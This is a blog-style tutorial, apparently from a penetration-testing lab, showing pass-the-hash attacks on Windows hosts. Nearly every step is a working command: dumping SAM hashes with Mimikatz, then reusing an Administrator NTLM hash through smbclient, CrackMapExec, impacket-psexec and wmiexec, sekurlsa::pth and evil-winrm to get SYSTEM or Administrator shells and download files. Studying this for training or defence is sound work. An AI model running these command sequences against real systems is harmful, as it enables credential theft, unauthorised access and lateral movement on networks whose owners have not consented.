Published on June 25, 2025
When NTLM hashes cannot be cracked quickly, we can still leverage them to authenticate—without knowing the plaintext—using pass-the-hash (PtH) and related techniques. Below we show every command and explain each method.
On FILES01 (192.168.50.211), run PowerShell as Administrator and launch Mimikatz from C:\tools:
PS C:\Windows\system32> cd C:\tools
PS C:\tools> .\mimikatz.exe
Explanation: Changes into the tools folder and starts Mimikatz’s interactive shell.
Enable debug privilege and elevate to SYSTEM, then dump SAM hashes:
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
Explanation:
privilege::debug
enables SeDebugPrivilege
to read LSASS memory.
token::elevate
impersonates the SYSTEM account.
lsadump::sam
extracts NTLM hashes from the locked SAM database.
Copy the Administrator hash (e.g., 7a38310ea6f0027ee955abed1762964b
) and save on Kali:
kali@kali:~/passwordattacks$ echo "7a38310ea6f0027ee955abed1762964b" > administrator.hash
Explanation: Stores the hash in a file for use with other tools.
smbclient
Use the NTLM hash to authenticate to an SMB share:
kali@kali:~$ smbclient \\\\192.168.50.212\\secrets \
-U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b
Explanation:
\\\\IP\\share
escape syntax;
-U
specifies the username;
--pw-nt-hash
provides the NTLM hash instead of a password.
After connection:
smb: \> dir
smb: \> get secrets.txt
Explanation: Lists and downloads files from the share.
CrackMapExec
kali@kali:~$ crackmapexec smb 192.168.50.212 \
-u Administrator -H 7a38310ea6f0027ee955abed1762964b
Explanation:
crackmapexec smb
module for SMB;
-u
username;
-H
NTLM hash;
automates share enumeration and can also upload/download files.
impacket-psexec
kali@kali:~$ impacket-psexec \
-hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b \
Administrator@192.168.50.212
Explanation:
-hashes LM:NT
format; we set LM to 32 zeros when unused;
authenticates and executes cmd.exe
as SYSTEM by default.
impacket-wmiexec
kali@kali:~$ impacket-wmiexec \
-hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b \
Administrator@192.168.50.212
Explanation:
similar to psexec
but leverages WMI;
yields a shell as the specified user (Administrator).
Within Mimikatz’s shell on FILES01, use sekurlsa::pth
to spawn a process with the hash:
mimikatz # sekurlsa::pth /user:Administrator \
/domain:FILES02 /ntlm:7a38310ea6f0027ee955abed1762964b \
/run:cmd.exe
Explanation:
injects the NTLM hash into a new cmd.exe
process token;
you then interact with a shell running as Administrator.
You can also authenticate over RDP or WinRM:
kali@kali:~$ evil-winrm \
-i 192.168.50.212 -u Administrator \
-H 7a38310ea6f0027ee955abed1762964b
Explanation: uses WinRM with NTLM hash; requires the WinRM service enabled and firewall open.
smbclient
, CME, Impacket, Mimikatz, Evil-WinRM.SeDebugPrivilege
; use privilege::debug
and token::elevate
.